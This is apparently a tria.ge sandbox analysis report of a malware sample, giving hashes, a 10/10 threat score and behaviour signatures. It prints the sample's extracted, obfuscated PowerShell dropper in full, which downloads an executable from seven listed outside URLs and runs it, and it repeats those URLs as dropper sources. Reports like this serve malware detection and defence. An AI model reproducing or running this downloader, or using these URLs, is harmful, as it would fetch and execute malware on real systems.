Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

General

  • Target

    cff36af596a5ae63412a79bf6de88ed1_JaffaCakes118

  • Size

    162KB

  • Sample

    240906-ttehwswgmh

  • MD5

    cff36af596a5ae63412a79bf6de88ed1

  • SHA1

    5be5e50d16b538507c7c6d95c271d995e4ede564

  • SHA256

    8c312805d2cac10a8deaaa7ee8aaad782a4a93eade429042f8ac234b2716be7e

  • SHA512

    6e53617efbf57703502535770b28ca094cd9d32f340725b27a9866aa7409461590e3da2be34a4218e05a6b6d43125bc98f059640a9f1b85d5ef0bd44b01bc749

  • SSDEEP

    1536:T5a/aNrdi1Ir77zOH98Wj2gpngR+a965ZVDEuEfBzoIRGQ:T/rfrzOH98ipg+O5JzoQGQ

Score
10/10

Malware Config

Extracted

Language
ps1
Source
1
$Bg5tjej=(('A9'+'c')+('b'+'zl4'));.('new-it'+'e'+'m') $eNv:uSErprOFiLE\iiqQHQP\w6jSxef\ -itemtype DIREctOry;[Net.ServicePointManager]::"SE`cuR`ITYprOTO`Col" = ('t'+('ls'+'12'+', tls')+('11'+',')+(' '+'tls'));$Qh5gyhu = ('N'+('70'+'w')+('m2'+'6e'));$Jle058s=('Ve'+'r'+('oa'+'yh'));$Ostf_hm=$env:userprofile+((('G9'+'lI'+'iqqh'+'qp')+'G'+'9l'+('W'+'6js'+'xefG9l'))-rePLACE ('G9'+'l'),[ChaR]92)+$Qh5gyhu+(('.e'+'x')+'e');$Wqknort=(('N'+'_2')+('gu'+'yk'));$Ujjoa3j=.('new-o'+'bj'+'ect') nET.WeBcLienT;$Vmr1its=(('htt'+'p://')+'cr'+('yp'+'to')+('k'+'uota.com'+'/')+'a'+'ss'+('e'+'ts/M2n'+'g')+('T'+'rJ/')+'*h'+('ttps:'+'/'+'/p'+'int')+'er'+('usm'+'ed')+('ia.'+'co')+('m/w'+'p')+('-'+'admi'+'n/Y')+'X/'+('*'+'http')+('s:'+'/'+'/aszc')+'a'+('si'+'no.c')+'o'+'m/'+('a'+'sz')+'de'+('mo'+'/DRloh/'+'*'+'ht')+('tp'+'s:/')+('/du'+'ba')+('i-h'+'om')+'e'+'s'+'.a'+('e/'+'w')+('p'+'-adm')+('i'+'n/Y')+('BJR'+'3M/*'+'h')+('tt'+'ps')+(':/'+'/')+('wh'+'itd')+('oit.tk'+'/')+('ljiy5'+'3')+'n/'+'xx'+'E'+('/*'+'h')+('tt'+'p')+':/'+'/4'+'l'+('i'+'fe')+'.'+'co'+('m.'+'vn/wp')+('-ad'+'min')+'/'+'R'+'/*'+'ht'+('t'+'p://bar'+'an-')+('bus'+'ines')+'s'+('.d'+'e')+('/wp'+'-c'+'on')+'te'+'nt'+('/'+'pMr')+'/')."S`plit"([char]42);$Sq74exh=('O'+('a'+'7gln')+'s');foreach($Yc3k53h in $Vmr1its){try{$Ujjoa3j."doW`NloA`dFi`le"($Yc3k53h, $Ostf_hm);$Txrlv3z=(('Uc'+'q5f')+'m'+'s');If ((&('G'+'et-Ite'+'m') $Ostf_hm)."L`eNgth" -ge 22999) {.('I'+'nvoke-It'+'em')($Ostf_hm);$Dzv3p6h=(('H4'+'ov')+'m'+'3f');break;$Nq8h_39=(('Z'+'bc')+('hn'+'6i'))}}catch{}}$Snfy9rm=('H'+('bl'+'0'+'llp'))
URLs
exe.dropper

http://cryptokuota.com/assets/M2ngTrJ/

exe.dropper

https://pinterusmedia.com/wp-admin/YX/

exe.dropper

https://aszcasino.com/aszdemo/DRloh/

exe.dropper

https://dubai-homes.ae/wp-admin/YBJR3M/

exe.dropper

https://whitdoit.tk/ljiy53n/xxE/

exe.dropper

http://4life.com.vn/wp-admin/R/

exe.dropper

http://baran-business.de/wp-content/pMr/

Targets

    • Target

      cff36af596a5ae63412a79bf6de88ed1_JaffaCakes118

    • Size

      162KB

    • MD5

      cff36af596a5ae63412a79bf6de88ed1

    • SHA1

      5be5e50d16b538507c7c6d95c271d995e4ede564

    • SHA256

      8c312805d2cac10a8deaaa7ee8aaad782a4a93eade429042f8ac234b2716be7e

    • SHA512

      6e53617efbf57703502535770b28ca094cd9d32f340725b27a9866aa7409461590e3da2be34a4218e05a6b6d43125bc98f059640a9f1b85d5ef0bd44b01bc749

    • SSDEEP

      1536:T5a/aNrdi1Ir77zOH98Wj2gpngR+a965ZVDEuEfBzoIRGQ:T/rfrzOH98ipg+O5JzoQGQ

    Score
    10/10
    • Process spawned unexpected child process

      This typically indicates the parent process was compromised via an exploit or macro.

    • Blocklisted process makes network request

    • Drops file in System32 directory

MITRE ATT&CK Enterprise v15

Tasks

We care about your privacy.

This website stores cookies on your computer. These cookies are used to improve your website experience and provide more personalized services to you, both on this website and through other media. To find out more about the cookies we use, see our Privacy Policy.